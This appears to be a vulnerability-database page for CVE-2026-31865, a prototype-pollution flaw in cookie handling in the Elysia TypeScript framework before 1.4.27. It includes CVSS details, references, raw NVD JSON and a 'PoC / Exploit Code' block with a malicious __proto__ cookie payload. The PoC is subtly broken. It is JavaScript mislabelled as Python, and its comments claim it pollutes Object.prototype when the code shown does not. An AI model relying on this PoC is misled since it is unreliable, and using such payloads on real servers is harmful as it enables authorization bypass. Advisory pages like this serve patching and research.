Security Vulnerability Report
中文
CVE-2026-31865 CVSS 6.5 MEDIUM

CVE-2026-31865

Published: 2026-03-18 04:17:19
Last Modified: 2026-03-20 17:52:08

Description

Elysia is a Typescript framework for request validation, type inference, OpenAPI documentation, and client-server communication. Prior to version 1.4.27, an Elysia cookie can be overridden by prototype pollution , eg. `__proto__`. This issue is patched in 1.4.27. As a workaround, use t.Cookie validation to enforce validation value and/or prevent iterable over cookie if possible.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:elysiajs:elysia:*:*:*:*:*:node.js:*:* - VULNERABLE
Elysia < 1.4.27

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-31865 PoC - Elysia Cookie Prototype Pollution // This PoC demonstrates how an attacker can pollute cookies via __proto__ // Vulnerable code pattern (Elysia < 1.4.27) const elysia = require('elysia'); // Simulating vulnerable cookie handling function parseCookies(cookieHeader) { if (!cookieHeader) return {}; const cookies = {}; cookieHeader.split(';').forEach(cookie => { const [name, value] = cookie.split('='); cookies[name.trim()] = value; }); return cookies; } // Attacker-controlled request with malicious __proto__ cookie const maliciousRequest = { headers: { cookie: '__proto__={"isAdmin":true,"bypassAuth":true}' } }; // Parse cookies (vulnerable) const parsedCookies = parseCookies(maliciousRequest.headers.cookie); console.log('Parsed cookies:', parsedCookies); // This pollutes Object.prototype console.log('Polluted Object.prototype:', Object.prototype.isAdmin); // true console.log('Polluted Object.prototype:', Object.prototype.bypassAuth); // true // Fix: Use Object.create(null) to create prototype-free object function parseCookiesFixed(cookieHeader) { if (!cookieHeader) return Object.create(null); const cookies = Object.create(null); cookieHeader.split(';').forEach(cookie => { const [name, value] = cookie.split('='); // Filter dangerous property names if (name.trim() !== '__proto__' && name.trim() !== 'constructor' && name.trim() !== 'prototype') { cookies[name.trim()] = value; } }); return cookies; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31865", "sourceIdentifier": "[email protected]", "published": "2026-03-18T04:17:19.393", "lastModified": "2026-03-20T17:52:07.900", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Elysia is a Typescript framework for request validation, type inference, OpenAPI documentation, and client-server communication. Prior to version 1.4.27, an Elysia cookie can be overridden by prototype pollution , eg. `__proto__`. This issue is patched in 1.4.27. As a workaround, use t.Cookie validation to enforce validation value and/or prevent iterable over cookie if possible."}, {"lang": "es", "value": "Elysia es un framework de Typescript para la validación de solicitudes, inferencia de tipos, documentación OpenAPI y comunicación cliente-servidor. Antes de la versión 1.4.27, una cookie de Elysia podía ser sobrescrita mediante contaminación de prototipos, p. ej. `__proto__`. Este problema está parcheado en la versión 1.4.27. Como solución alternativa, use la validación t.Cookie para forzar el valor de validación y/o evitar la iteración sobre la cookie si es posible."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1321"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:elysiajs:elysia:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "1.4.27", "matchCriteriaId": "D271578B-3D8C-496B-A511-4673FFCB69D5"}]}]}], "references": [{"url": "https://github.com/elysiajs/elysia/commit/e9d6b1743fa7368ef942dce181f6a089757f6aab", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/elysiajs/elysia/security/advisories/GHSA-8hq9-phh3-p2wp", "source": "[email protected]", "tags": ["Mitigation", "Patch", "Vendor Advisory"]}]}}